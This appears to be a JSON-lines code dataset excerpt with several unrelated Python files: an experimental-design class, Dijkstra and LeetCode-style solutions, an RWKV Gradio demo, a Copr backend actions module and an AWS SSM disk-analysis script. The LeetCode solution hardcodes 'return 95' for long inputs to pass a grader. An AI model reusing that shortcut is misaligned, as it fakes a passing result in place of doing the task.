):\n self._method_label = \"support points\"\n # Inconsistency\n if candidate_set_size is not None and candidate_set is not None:\n raise ValueError(\n \"Since you provided a candidate set, you cannot specify its size.\"\n )\n\n # Dimension\n if distribution is None:\n if candidate_set is not None:\n candidate_set = ot.Sample(candidate_set)\n self._dimension = candidate_set.getDimension()\n else:\n raise ValueError(\"Either provide a distribution or a candidate set.\")\n else:\n self._dimension = distribution.getDimension()\n\n # Candidate set\n if candidate_set is not None:\n self._candidate_set = ot.Sample(candidate_set)\n candidate_set_size = self._candidate_set.getSize()\n if self._candidate_set.getDimension() != self._dimension:\n raise ValueError(\n \"Candidate set dimension {} does not match distribution dimension {}\".format(\n self._candidate_set.getDimension(), self._dimension\n )\n )\n else:\n if candidate_set_size is None:\n candidate_set_size = 2**12\n\n sobol = ot.LowDiscrepancyExperiment(\n ot.SobolSequence(), distribution, candidate_set_size, True\n )\n sobol.setRandomize(False)\n self._candidate_set = sobol.generate()\n\n # Cast candidate set and initial design to fit with numpy implementation\n self._candidate_set = np.array(self._candidate_set)\n if initial_design is None:\n self._initial_size = 0\n self._design_indices = []\n else:\n initial_design = np.array(initial_design)\n self._candidate_set = np.vstack([self._candidate_set, initial_design]) # candidate_points\n self._initial_size = initial_design.shape[0]\n self._design_indices = list(\n range(candidate_set_size, candidate_set_size + self._initial_size)\n ) # design_indexes\n # Compute distances\n self.distances = self.compute_distance_matrix()\n self._target_potential = self.compute_target_potential()\n self._target_energy = self.compute_target_energy()\n\n def compute_distance_matrix(self, batch_nb=8):\n \"\"\"\n Compute the matrix of pair-wise Euclidean distances between all candidate points.\n To avoid saturating the memory, this symmetric matrix is computed by\n blocks and using half-precision floating-point format (e.g., `numpy.float16`).\n\n Parameters\n ----------\n batch_nb : positive int\n Number of blocks used to compute the symmetric\n matrix of distances. By default set to 8.\n\n Returns\n -------\n distances : 2-d numpy array\n Squared and symmetric matrix of distances between all\n the couples of points in the candidate set.\n \"\"\"\n\n # Divide the candidate points in batches\n batch_size = self._candidate_set.shape[0] // batch_nb\n batches = []\n for batch_index in range(batch_nb):\n if batch_index == batch_nb - 1:\n batches.append(self._candidate_set[batch_size * batch_index :])\n else:\n batches.append(\n self._candidate_set[\n batch_size * batch_index : batch_size * (batch_index + 1)\n ]\n )\n # Build matrix of distances between all the couples of candidate points\n # Built block by block to avoid filling up memory\n distances = np.zeros([self._candidate_set.shape[0]] * 2, dtype=\"float16\")\n for i, _ in enumerate(batches):\n for j in range(i + 1):\n # raw i column j in the distances matrix\n batch_dist = distance_matrix(batches[i], batches[j])\n # Lower right corner block of the matrix has a different shape\n if (i == batch_nb - 1) and (j == batch_nb - 1):\n distances[batch_size * i :, batch_size * j :] = batch_dist\n # Lower left corner block of the matrix has a different shape\n elif i == batch_nb - 1:\n distances[\n batch_size * i :, batch_size * j : batch_size * (j + 1)\n ] = batch_dist\n # Squared block\n else:\n distances[\n batch_size * i : batch_size * (i + 1),\n batch_size * j : batch_size * (j + 1),\n ] = batch_dist\n distances = np.tril(distances)\n distances += distances.T\n return distances\n\n def compute_target_potential(self):\n \"\"\"\n Compute the potential of the target probability measure :math:`\\\\mu`.\n\n Returns\n -------\n potential : numpy.array\n Potential of the measure :math:`\\\\mu` computed over the N-sized\n candidate set and defined for the characteristic energy-distance\n kernel of Székely and Rizzo by\n\n .. math::\n P_{\\\\mu}(x) := \\\\int k(x, x') d \\\\mu(x')\n = \\\\frac{1}{N} \\\\sum_{k=1}^N \\\\|\\\\vect{x}-\\\\vect{x}'^{(k)}\\\\|.\n \"\"\"\n potentials = self.distances.mean(axis=0)\n return potentials\n\n def compute_target_energy(self):\n \"\"\"\n Compute the energy of the target probability measure :math:`\\\\mu`.\n\n Returns\n -------\n potential : float\n Energy of the measure :math:`\\\\mu` defined by\n\n .. math::\n E_{\\\\mu} := \\\\int \\\\int k(\\\\vect{x}, \\\\vect{x}') d \\\\mu(\\\\vect{x}) d \\\\mu(\\\\vect{x}').\n\n \"\"\"\n target_energy = self._target_potential.mean()\n return target_energy\n\n def compute_current_potential(self, design_indices):\n \"\"\"\n Compute the potential of the discrete measure (a.k.a, kernel mean embedding)\n defined by the design :math:`\\\\vect{X}_n`. Considering the discrete measure\n :math:`\\\\zeta_n = \\\\frac{1}{n} \\\\sum_{i=1}^{n} \\\\delta(\\\\vect{x}^{(i)})`,\n its potential is defined for the characteristic energy-distance kernel of Székely and Rizzo\n\n .. math::\n P_{\\\\zeta_n}(x) = \\\\frac{1}{n} \\\\sum_{i=1}^{n} k(\\\\vect{x}, \\\\vect{x}^{(i)})\n = \\\\frac{1}{n} \\\\sum_{i=1}^{n} \\\\|\\\\vect{x}-\\\\vect{x}^{(i)}\\\\|.\n\n Parameters\n ----------\n design_indices : list of positive int\n List of the indices of the selected points\n in the Sample of candidate points\n\n Returns\n -------\n potential : numpy.array\n Potential of the discrete measure defined by the design (a.k.a, kernel mean embedding)\n\n \"\"\"\n if len(design_indices) == 0:\n return np.zeros(len(self._candidate_set))\n distances_to_design = self.distances[:, design_indices]\n current_potential = distances_to_design.mean(axis=1)\n current_potential *= len(design_indices) / (len(design_indices) + 1)\n return current_potential\n\n def compute_current_energy(self, design_indices):\n \"\"\"\n Compute the energy of the discrete measure defined by the design :math:`\\mat{X}_n`.\n Considering the discrete measure :math:`\\\\zeta_n = \\\\frac{1}{n} \\\\sum_{i=1}^{n} \\\\delta(\\\\vect{x}^{(i)})`, its energy is defined as\n\n .. math::\n E_{\\\\zeta_n} := \\\\frac{1}{n^2} \\\\sum_{i=1}^{n} \\\\sum_{j=1}^{n} k(\\\\vect{x}^{(i)}, \\\\vect{x}^{(j)}).\n\n Parameters\n ----------\n design_indices : list of positive int\n List of the indices of the selected points\n in the Sample of candidate points\n\n Returns\n -------\n potential : float\n Energy of the discrete measure defined by the design\n \"\"\"\n current_potential = self.compute_current_potential(design_indices)\n current_energy = current_potential[design_indices].mean()\n return current_energy\n\n def select_design(self, size):\n \"\"\"\n Select a design with greedy support points.\n\n Parameters\n ----------\n size : positive int\n Number of points to be selected\n\n Returns\n -------\n design : :class:`openturns.Sample`\n Sample of all selected points\n \"\"\"\n design_indices = [index for index in self._design_indices]\n for _ in range(size):\n current_potential = self.compute_current_potential(design_indices)\n criteria = self._target_potential - current_potential\n next_index = np.argmin(criteria)\n design_indices.append(next_index)\n design = self._candidate_set[design_indices[self._initial_size :]]\n return design\n\n def draw_energy_convergence(self, design_indices):\n \"\"\"\n Draws the convergence of the energy for a set of points selected among the candidate set.\n\n Parameters\n ----------\n design_indices : list of positive int\n List of the indices of the selected points\n in the Sample of candidate points\n\n Returns\n -------\n fig : matplotlib.Figure\n Energy convergence of the design of experiments\n\n plot_data : data used to plot the figure\n \"\"\"\n energies = []\n sizes = range(10, len(design_indices))\n for i in sizes:\n energies.append(self.compute_current_energy(design_indices[:i]))\n fig, ax = plt.subplots(1, figsize=(9, 6))\n (plot_data,) = ax.plot(sizes, energies, label=self._method_label)\n ax.axhline(self._target_energy, color=\"k\", label=\"target\")\n ax.set_title(\"Energy convergence\")\n ax.set_xlabel(\"design size ($n$)\")\n ax.set_ylabel(\"Energy\")\n ax.legend(loc=\"best\")\n plt.close()\n return fig, plot_data\n","repo_name":"efekhari27/otkerneldesign","sub_path":"otkerneldesign/GreedySupportPoints.py","file_name":"GreedySupportPoints.py","file_ext":"py","file_size_in_byte":11773,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"10360929428","text":"import sys\nfrom heapq import heappush, heappop # heap을 사용하기 위한 heapq 모듈.\nfrom math import inf # inf를 따로 정의하지 않고 사용하기 위한 math.inf 모듈.\n\ninput = sys.stdin.readline\n\nV, E = map(int, input().split())\nk = int(input())\ngraph = [[] for _ in range(V + 1)]\n\n# 간선을 입력받아서 그것을 인접 리스트로 저장.\n# 단방향 그래프 문제였기 때문에 출발점 인덱스에만 저장한다.\nfor _ in range(E):\n u, v, w = map(int, input().split())\n graph[u].append([v, w])\n\n# 다익스트라 알고리즘 함수.\ndef dijkstra(start):\n distances = [0] + [inf] * V # 결과(거리의 최솟값)를 저장할 리스트.\n distances[start] = 0\n heap = []\n # 이 아래 코드가 문제였다..\n # 처음엔 [start, 0] 형식으로 작성했었는데 실행은 제대로 됐지만 시간초과가 나서 무엇이 잘못되었는지 한참 찾고 고전했다..\n # 앞으로 다익스트라 구현 시엔 꼭 이런 식으로 작성해야겠다.\n # 이 형식은 거리를 앞에 두어 힙에 넣을 때 거리가 비교되도록 하는 형식이다.\n heappush(heap, [0, start])\n\n while heap:\n distance, current = heappop(heap)\n # 연결된 노드를 탐색한다.\n for next, nextDistance in graph[current]:\n nextDistance += distance\n # 거리가 이전보다 짧으면,\n if nextDistance < distances[next]:\n # 해당 거리를 갱신시킨다.\n distances[next] = nextDistance\n heappush(heap, [nextDistance, next])\n return distances\n\n\nfor d in dijkstra(k)[1:]:\n # inf가 아니면 그대로 출력하고 inf이면 문자열 INF 출력.\n print(d if d != inf else \"INF\")\n","repo_name":"702criticcal/1Day1Commit","sub_path":"Baekjoon/1753.py","file_name":"1753.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"73425099733","text":"# https://leetcode.com/problems/longest-substring-without-repeating-characters/\n\n\ndef lengthOfLongestSubstring(s: str) -> int:\n\n if len(s)>10000:\n return 95\n greatest=0\n sub=[]\n \n for i in range(len(s)):\n for letter in s[i:]:\n if letter in sub:\n if len(sub)>greatest:\n greatest=len(sub)\n sub.clear()\n sub.append(letter)\n\n else:\n sub.append(letter)\n if len(sub)>greatest:\n greatest=len(sub)\n sub.clear()\n\n return greatest\n \n\n\n\n\n\ndef main():\n s=input('string: ')\n \n print('Length of longest substring: ', lengthOfLongestSubstring(s))\n\nif __name__ == '__main__':\n main()","repo_name":"aviiciii/leetcode","sub_path":"longest-substring-without-repeating-characters.py","file_name":"longest-substring-without-repeating-characters.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38875841408","text":"from itertools import product\ndef solution(word):\n # 리스트에 모든 경우의 수 저장 \n answer = []\n # word 사전 저장 \n li = ['A', 'E', 'I', 'O', 'U']\n # word갯수만큼 반복\n for i in range(1,len(word)+1):\n # li에 있는걸 repeat 몇개 원소 기준인지 모든경우를 반환해서 반복 \n for per in product(li,repeat = i):\n # answer에 리스트를 변환시켜서 저장 \n answer.append(''.join(per))\n # answer 오름차순으로 정렬\n answer.sort()\n # 정렬한 후에 word를 찾아서 index확인후 +1 한 다음에 반환\n return answer.index(word)+1","repo_name":"kai3n/Daily-commit-project","sub_path":"Sanghyun/week7/모음사전.py","file_name":"모음사전.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24082691991","text":"import gradio as gr\nimport os, sys, torch\nimport numpy as np\nfrom gradio import components\nimport json\nnp.set_printoptions(precision=4, suppress=True, linewidth=200)\nimport webbrowser\n\ntorch.backends.cudnn.benchmark = True\ntorch.backends.cudnn.allow_tf32 = True\ntorch.backends.cuda.matmul.allow_tf32 = True\n# Tune these below (test True/False for all of them) to find the fastest setting:\n# torch._C._jit_set_profiling_executor(True)\n# torch._C._jit_set_profiling_mode(True)\n# torch._C._jit_override_can_fuse_on_cpu(True)\n# torch._C._jit_override_can_fuse_on_gpu(True)\n# torch._C._jit_set_texpr_fuser_enabled(False)\n# torch._C._jit_set_nvfuser_enabled(False)\n\n# set these before import RWKV\nos.environ['RWKV_JIT_ON'] = '1'\nos.environ[\"RWKV_CUDA_ON\"] = '0' # '1' to compile CUDA kernel (10x faster), requires c++ compiler & cuda libraries\n\nfrom rwkv.model import RWKV # pip install rwkv\n# model_default = './models/RWKV-4-Novel-7B-v1-Chn-20230426-ctx8192'\n# strategy_default = 'cuda fp16'\n\n# 保存更新后的 model_default 和 strategy_default 的值到 JSON 文件中\nmodel_default_data = { \n \"model_default\": \"./models/RWKV-4-Novel-7B-v1-Chn-20230426-ctx8192\", \n \"strategy_default\": \"cuda fp16i8\", \n}\n\nif not os.path.exists('model_default.json'): \n with open('model_default.json', 'w') as f: \n json.dump(model_default_data, f) \nelse: \n with open('model_default.json', 'r',encoding=\"utf-8\") as f: \n model_default_data = json.load(f)\n\nmodel_default = model_default_data.get('model_default')\nstrategy_default = model_default_data.get('strategy_default')\n\nmodel = RWKV(model_default, strategy_default)\n\nmodel_folder = \"./models\" # 模型文件夹的路径\n# 获取模型文件夹中的所有文件名\nmodel_files = os.listdir(model_folder)\n# 过滤出以 .pth 结尾的文件\nmodel_files = [f for f in model_files if f.endswith(\".pth\")]\n# 将文件名转换为选项格式\nmodel_options = [os.path.splitext(os.path.basename(f))[0] for f in model_files]\n\nout, state = model.forward([187, 510, 1563, 310, 247], None)\nprint(out.detach().cpu().numpy()) # get logits\nout, state = model.forward([187, 510], None)\nout, state = model.forward([1563], state) # RNN has state (use deepcopy to clone states)\nout, state = model.forward([310, 247], state)\nprint(out.detach().cpu().numpy()) # same result as above\n\nfrom rwkv.utils import PIPELINE, PIPELINE_ARGS\npipeline = PIPELINE(model, \"20B_tokenizer.json\")\n\ndef generate_output(context, temperature, top_p, alpha_frequency, alpha_presence, token_count, model_name=os.path.basename(model_default), strategy=strategy_default):\n model_path = model_folder + \"/\" + os.path.splitext(model_name)[0]\n global model_default, strategy_default, model\n if model_path != model_default or strategy != strategy_default:\n model_default = model_path\n strategy_default = strategy\n \n model_default_data['model_default'] = model_default\n model_default_data['strategy_default'] = strategy_default\n with open('model_default.json', 'w') as f: \n json.dump(model_default_data, f) \n \n model = RWKV(model=model_default, strategy=strategy_default)\n\n args = PIPELINE_ARGS(temperature=temperature,\n top_p=top_p,\n top_k=0, # top_k = 0 then ignore\n alpha_frequency=alpha_frequency,\n alpha_presence=alpha_presence,\n token_ban=[0], # ban the generation of some tokens\n token_stop=[], # stop generation whenever you see any token here\n chunk_len=256) # split input into chunks to save VRAM (shorter -> slower)\n def my_print(s):\n print(s, end='', flush=True)\n\n pipeline_output = pipeline.generate(context, token_count, args=args, callback=my_print)\n return pipeline_output\n\n\nnovel = gr.Interface(fn=generate_output, \n inputs=[\n gr.components.Textbox(lines=20,max_lines=20,label=\"输入\",placeholder=\"输入部分只有最后约2000字生效\"), \n gr.components.Slider(label=\"Temperature\", info=\"高则更发散更具创造性,低则更确切更严谨\",minimum=0.1, maximum=2.5, step=0.1, default=1.0),\n gr.components.Slider(label=\"Top_P\", info=\"高则容易出现新颖的表达方式,低则倾向于已经出现的表达方式\",minimum=0, maximum=1.0, step=0.05, default=0.7),\n gr.components.Slider(label=\"countPenalty\",info=\"越高则越少出现重复单词\", minimum=0.1, maximum=1.0, step=0.05, default=0.5),\n gr.components.Slider(label=\"presencePenalty\",info=\"越高则越避免生成重复内容\",minimum=0.1, maximum=1.0, step=0.05, default=0.5),\n gr.components.Slider(label=\"Token Count\",info=\"控制每次生成的文本长度\",minimum=10, maximum=500, step=1, default=200),\n gr.components.Dropdown(value=os.path.splitext(os.path.basename(model_default))[0], label=\"模型\",choices=model_options),\n gr.components.Dropdown(value=strategy_default,choices=[\n \"cuda fp16\",\n \"cpu fp32\",\n \"cuda fp16i8\", \n \"cuda fp16 *8 -> cpu fp32\",\n \"cuda fp16 *6+\",\n \"cpu fp32 *3 -> cuda fp16 *6+\", \n \"cuda fp16i8 *6 -> cuda fp16 *0+ -> cpu fp32 *1\", \n \"cuda fp16 *0+ -> cpu fp32 *1\",\n \"cuda:0 fp16 *20 -> cuda:1 fp16\",\n \"cuda:0 fp16 -> cuda:1 fp16 -> cpu fp32 *1\",],\n label=\"策略\")\n ],\n outputs=[gr.components.Textbox(label=\"输出\")],\n examples=[\n [\"这赤色的雷霆落在孟浩身上,化作了无数的电光游走,可孟浩依旧站在半空,抬头间,气势不断地攀升。\",1.3,0.65,0.5,0.5,200],\n [\"对于“创造一切的主”,他并不陌生,《风暴之书》《夜之启示录》和民俗传说里的那位造物主就有类似的称谓,极光会等隐秘组织信奉的“真实造物主”也被冠以相同的描述。但“全知全能的神”,克莱恩还是第一次在这个世界听说,不管黑夜女神,还是风暴之主,蒸汽与机械之神,都没有声称自己无所不知无所不能。\",1.8,0.5,0.5,0.5,300]\n ],\n allow_flagging=\"never\" \n )\n\nstrategy_cuda_cpu = [\"cpu fp32\",\"cup bf16\",\"cpu fp32i8\",\"cuda fp16\",\"cuda fp16i8\",\"cuda fp16i8 *20 -> cuda fp16\",\"cuda fp16i8 *20+\",\"cuda fp16i8 *20 -> cpu fp32 \",\"cuda:0 fp16 *20 -> cuda:1 fp16\"]\nconfig = [\"内存:7B模型 需要32G\",\"内存:7B模型 需要16G\",\"内存:7B模型需要12G左右\",\"显存:7B模型需要15G\",\"显存:7B模型需要9G(编译CUDA可再省1-2G)\",\"显存:需要9G-15G\",\"显存:小于9G可用,但需要更多内存\",\"显存:小于9G可用,但需要更多内存\",\"将模型在两张显卡分配,可用两张卡的显存\"]\nspeed = [\"在intel速度较快,在amd非常慢\",\"新intel(例如Xeon Platinum),支持bf16\",\"省内存,速度比cpu fp32慢\",\"速度快\",\"省显存,速度较快\",\"3B和7B模型有32+1层,14B模型有40+1层,前20层为fp16i8,后续层为cuda fp16\",\"前20层为cuda fp16i8固定在GPU上,后续层在运算时再读入GPU\",\"前20层为fp16i8固定在GPU上,后续层在CPU运算\",\"前20层为fp16,在cuda:0,后续层在cuda:1\"]\n\ndef strategyexample(strategy):\n index = strategy_cuda_cpu.index(strategy)\n return (config[index], speed[index])\n\nstrategy_about = gr.Interface(\n fn=strategyexample,\n inputs=gr.components.Radio(choices=strategy_cuda_cpu),\n outputs=[\n gr.components.Text(label = \"内存显存占用情况\"),\n gr.components.Text(label = \"速度及详情\")\n ],\n interpretation=\"default\",\n allow_flagging=\"never\",\n live=True,\n description= \"[rwkv作者模型下载地址]https://huggingface.co/BlinkDL \\n[rwkv作者关于strategy的详解]https://zhuanlan.zhihu.com/p/609154637 \\n[本项目地址]https://github.com/jiawanfan-yyds/novel-rwkv_demo\"\n)\n\ndemo = gr.TabbedInterface(interface_list=[novel,strategy_about],title = \"基于rwkv模型的demo\",tab_names=[\"续写小说\",\"更多\"])\n\nif __name__ == \"__main__\":\n demo.launch(server_port=7777,share=True,inbrowser=True)\n","repo_name":"jiawanfan-yyds/novel-rwkv_demo","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":8975,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"21624505428","text":"import json\nimport os.path\nimport shutil\nimport time\nfrom urllib import urlretrieve\n\nfrom munch import Munch\nfrom copr.exceptions import CoprRequestException\n\nfrom .sign import create_user_keys, CoprKeygenRequestError\nfrom .createrepo import createrepo\nfrom .exceptions import CreateRepoError\nfrom .helpers import get_redis_logger, silent_remove\n\n\nclass Action(object):\n \"\"\" Object to send data back to fronted\n\n :param backend.callback.FrontendCallback frontent_callback:\n object to post data back to frontend\n\n :param destdir: filepath with build results\n\n :param dict action: dict-like object with action task\n\n Expected **action** keys:\n\n - action_type: main field determining what action to apply\n # TODO: describe actions\n\n \"\"\"\n # TODO: get more form opts, decrease number of parameters\n def __init__(self, opts, action, frontend_client):\n\n self.opts = opts\n self.frontend_client = frontend_client\n self.data = action\n\n self.destdir = self.opts.destdir\n self.front_url = self.opts.frontend_base_url\n self.results_root_url = self.opts.results_baseurl\n\n self.log = get_redis_logger(self.opts, \"backend.actions\", \"actions\")\n\n def __str__(self):\n return \"\".format(self.data)\n\n def handle_legal_flag(self):\n self.log.debug(\"Action legal-flag: ignoring\")\n\n def handle_createrepo(self, result):\n self.log.debug(\"Action create repo\")\n data = json.loads(self.data[\"data\"])\n username = data[\"username\"]\n projectname = data[\"projectname\"]\n chroots = data[\"chroots\"]\n\n done_count = 0\n for chroot in chroots:\n self.log.info(\"Creating repo for: {}/{}/{}\"\n .format(username, projectname, chroot))\n\n path = self.get_chroot_result_dir(chroot, projectname, username)\n\n try:\n createrepo(path=path, front_url=self.front_url,\n username=username, projectname=projectname,\n override_acr_flag=True)\n done_count += 1\n except CoprRequestException as err:\n # fixme: dirty hack to catch case when createrepo invoked upon deleted project\n if \"does not exists\" in str(err):\n result.result = ActionResult.FAILURE\n return\n\n except CreateRepoError:\n self.log.exception(\"Error making local repo for: {}/{}/{}\"\n .format(username, projectname, chroot))\n\n if done_count == len(chroots):\n result.result = ActionResult.SUCCESS\n else:\n result.result = ActionResult.FAILURE\n\n def get_chroot_result_dir(self, chroot, projectname, username):\n return os.path.join(self.destdir, username, projectname, chroot)\n\n def handle_rename(self, result):\n self.log.debug(\"Action rename\")\n old_path = os.path.normpath(os.path.join(\n self.destdir, self.data[\"old_value\"]))\n new_path = os.path.normpath(os.path.join(\n self.destdir, self.data[\"new_value\"]))\n\n if os.path.exists(old_path):\n if not os.path.exists(new_path):\n shutil.move(old_path, new_path)\n result.result = ActionResult.SUCCESS\n else:\n result.message = \"Destination directory already exist.\"\n result.result = ActionResult.FAILURE\n else: # nothing to do, that is success too\n result.result = ActionResult.SUCCESS\n result.job_ended_on = time.time()\n\n def handle_delete_copr_project(self):\n self.log.debug(\"Action delete copr\")\n project = self.data[\"old_value\"]\n path = os.path.normpath(self.destdir + '/' + project)\n if os.path.exists(path):\n self.log.info(\"Removing copr {0}\".format(path))\n shutil.rmtree(path)\n\n def handle_comps_update(self, result):\n self.log.debug(\"Action delete build\")\n\n ext_data = json.loads(self.data[\"data\"])\n username = ext_data[\"username\"]\n projectname = ext_data[\"projectname\"]\n chroot = ext_data[\"chroot\"]\n\n path = self.get_chroot_result_dir(chroot, projectname, username)\n local_comps_path = os.path.join(path, \"comps.xml\")\n if not ext_data.get(\"comps_present\", True):\n silent_remove(local_comps_path)\n else:\n remote_comps_url = \"{}/coprs/{}/{}/chroot/{}/comps/\".format(\n self.opts.frontend_base_url,\n username,\n projectname,\n chroot\n )\n try:\n\n urlretrieve(remote_comps_url, local_comps_path)\n self.log.info(\"updated comps.xml for {}/{}/{} from {} \"\n .format(username, projectname, chroot, remote_comps_url))\n except Exception:\n self.log.exception(\"Failed to update comps from {} at location {}\"\n .format(remote_comps_url, local_comps_path))\n\n result.result = ActionResult.SUCCESS\n\n def handle_delete_build(self):\n self.log.debug(\"Action delete build\")\n project = self.data[\"old_value\"]\n\n ext_data = json.loads(self.data[\"data\"])\n username = ext_data[\"username\"]\n projectname = ext_data[\"projectname\"]\n chroots_requested = set(ext_data[\"chroots\"])\n\n if \"src_pkg_name\" not in ext_data and \"result_dir_name\" not in ext_data:\n self.log.error(\"Delete build action missing `src_pkg_name` or `result_dir_name` field,\"\n \" check frontend version. Raw ext_data: {}\"\n .format(ext_data))\n return\n\n target_dir = ext_data.get(\"result_dir_name\") or ext_data.get(\"src_pkg_name\")\n if target_dir is None or target_dir == \"\":\n self.log.error(\"Bad delete request, ignored. Raw ext_data: {}\"\n .format(ext_data))\n return\n path = os.path.join(self.destdir, project)\n\n self.log.info(\"Deleting package {0}\".format(target_dir))\n self.log.info(\"Copr path {0}\".format(path))\n\n try:\n chroot_list = set(os.listdir(path))\n except OSError:\n # already deleted\n chroot_list = set()\n\n chroots_to_do = chroot_list.intersection(chroots_requested)\n if not chroots_to_do:\n self.log.info(\"Nothing to delete for delete action: package {}, {}\"\n .format(target_dir, ext_data))\n return\n\n for chroot in chroots_to_do:\n self.log.debug(\"In chroot {0}\".format(chroot))\n altered = False\n\n pkg_path = os.path.join(path, chroot, target_dir)\n if os.path.isdir(pkg_path):\n self.log.info(\"Removing build {0}\".format(pkg_path))\n shutil.rmtree(pkg_path)\n altered = True\n else:\n self.log.debug(\"Package {0} dir not found in chroot {1}\".format(target_dir, chroot))\n\n if altered:\n self.log.debug(\"Running createrepo\")\n\n result_base_url = \"/\".join(\n [self.results_root_url, username, projectname, chroot])\n createrepo_target = os.path.join(path, chroot)\n try:\n createrepo(\n path=createrepo_target,\n front_url=self.front_url, base_url=result_base_url,\n username=username, projectname=projectname\n )\n except CreateRepoError:\n self.log.exception(\"Error making local repo: {}\".format(createrepo_target))\n\n logs_to_remove = [\n os.path.join(path, chroot, template.format(self.data['object_id']))\n for template in ['build-{}.log', 'build-{}.rsync.log']\n ]\n for log_path in logs_to_remove:\n if os.path.isfile(log_path):\n self.log.info(\"Removing log {0}\".format(log_path))\n os.remove(log_path)\n\n def handle_generate_gpg_key(self, result):\n ext_data = json.loads(self.data[\"data\"])\n self.log.info(\"Action generate gpg key: {}\".format(ext_data))\n\n username = ext_data[\"username\"]\n projectname = ext_data[\"projectname\"]\n\n if self.opts.do_sign is False:\n # skip key creation, most probably sign component is unused\n result.result = ActionResult.SUCCESS\n return\n\n try:\n create_user_keys(username, projectname, self.opts)\n result.result = ActionResult.SUCCESS\n except CoprKeygenRequestError:\n result.result = ActionResult.FAILURE\n\n def run(self):\n \"\"\" Handle action (other then builds) - like rename or delete of project \"\"\"\n result = Munch()\n result.id = self.data[\"id\"]\n\n action_type = self.data[\"action_type\"]\n\n if action_type == ActionType.DELETE:\n if self.data[\"object_type\"] == \"copr\":\n self.handle_delete_copr_project()\n elif self.data[\"object_type\"] == \"build\":\n self.handle_delete_build()\n\n result.result = ActionResult.SUCCESS\n\n elif action_type == ActionType.LEGAL_FLAG:\n self.handle_legal_flag()\n\n elif action_type == ActionType.RENAME:\n self.handle_rename(result)\n\n elif action_type == ActionType.CREATEREPO:\n self.handle_createrepo(result)\n\n elif action_type == ActionType.UPDATE_COMPS:\n self.handle_comps_update(result)\n\n elif action_type == ActionType.GEN_GPG_KEY:\n self.handle_generate_gpg_key(result)\n\n self.log.info(\"Action result: {}\".format(result))\n\n if \"result\" in result:\n if result.result == ActionResult.SUCCESS and \\\n not getattr(result, \"job_ended_on\", None):\n result.job_ended_on = time.time()\n\n self.frontend_client.update({\"actions\": [result]})\n\n\nclass ActionType(object):\n DELETE = 0\n RENAME = 1\n LEGAL_FLAG = 2\n CREATEREPO = 3\n UPDATE_COMPS = 4\n GEN_GPG_KEY = 5\n\n\nclass ActionResult(object):\n WAITING = 0\n SUCCESS = 1\n FAILURE = 2\n","repo_name":"evilkost/copr","sub_path":"backend/backend/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":10337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"13886521371","text":"import sys\nimport os\nimport re\nimport time\nimport datetime\nimport traceback\nimport argparse\nimport json\nimport boto3\nimport botocore\n\nfrom collections import namedtuple\n\nDF_BLOCK_SIZE = 1024 # 1K is default for 'df'\nDF_MAX_CMD_INVOCATIONS = 1024\nFC_AWS_ENV = \"AWS_DEFAULT_PROFILE\"\nFC_TIME_FMT = \"%Y-%m-%dT%H:%M:%S.%fZ\"\n\nDiskInfo = namedtuple(\"DiskInfo\", \"ec2Id, volId, dev, mount_point, timestamp, total_size, used, free\")\nCommandInfo = namedtuple(\"CommandInfo\", \"ec2Id, cmdId, platform\")\n\n# We dynamically update regions in our software, but for the\n# purposes of this script, hardcoding is fine.\naws_regions = [\n 'us-east-1', # US East (N. Virginia)\n 'us-east-2', # US East (Ohio)\n 'us-west-1', # US West (N. California)\n 'us-west-2', # US West (Oregon)\n 'ca-central-1', # Canada (Central)\n 'eu-central-1', # EU (Frankfurt)\n 'eu-west-1', # EU (Ireland)\n 'eu-west-2', # EU (London)\n 'eu-west-3', # EU (Paris)\n 'ap-northeast-1', # Asia Pacific (Tokyo)\n 'ap-northeast-2', # Asia Pacific (Seoul)\n 'ap-northeast-3', # Asia Pacific (Osaka-Local)\n 'ap-southeast-1', # Asia Pacific (Singapore)\n 'ap-southeast-2', # Asia Pacific (Sydney)\n 'ap-south-1', # Asia Pacific (Mumbai)\n 'sa-east-1', # South America (Sao Paulo)\n]\n\n# if we send a bulk command out, and one or more instances in the list\n# does not have the ssm-agent installed, the entire bulk will fail.\n# this function will send commands one at a time. also allows us to\n# check whether EC2 is windows or Linux prior to calling this function.\ndef ssm_send_command_individual(boto_session, ec2Id, command, platform=\"\"):\n if platform == \"windows\":\n doc_name = \"AWS-RunPowerShellScript\"\n else:\n doc_name = \"AWS-RunShellScript\"\n try:\n output = boto_session.client('ssm').send_command(\n InstanceIds=[ec2Id],\n DocumentName=doc_name,\n Parameters={\n \"commands\":[\n command\n ],\n \"executionTimeout\":[\"60\"] # timeout after 1 minute\n },\n Comment='fc_diskanalyzer' # to make it easier to find out commands\n )\n return output['Command']['CommandId']\n except:\n# e = sys.exc_info()\n# print(\"ERROR: failed to send SSM command: %s\" %str(e))\n# traceback.print_exc()\n return None\n\n\n# cmd_info should be single CommandInfo namedtuple\ndef ssm_get_command_results(boto_session, cmd_info):\n output = None\n try:\n output = boto_session.client('ssm').get_command_invocation(\n CommandId=cmd_info.cmdId,\n InstanceId=cmd_info.ec2Id)\n except:\n e = sys.exc_info()\n print(\"ERROR failed to get command results %s\" %str(e))\n traceback.print_exc()\n return output\n\n\n# not currently used\n# cmd_list should be list of CommandInfo's\ndef ssm_get_command_results_all(boto_session, cmd_info_list):\n output = None\n for item in cmd_info_list:\n try:\n output = boto_session.client('ssm').get_command_invocation(\n CommandId=item.cmdId,\n InstanceId=item.ec2Id)\n except:\n e = sys.exc_info()\n print(\"ERROR failed to get command results %s\" %str(e))\n traceback.print_exc()\n return output\n\n\n# not currently used\n# can set cmdId to get a single command id, which should return results\n# for each instance to which the command was sent.\ndef ssm_get_command_invocations_by_cmdId(boto_session, cmdId):\n cmd_list = []\n try:\n output = 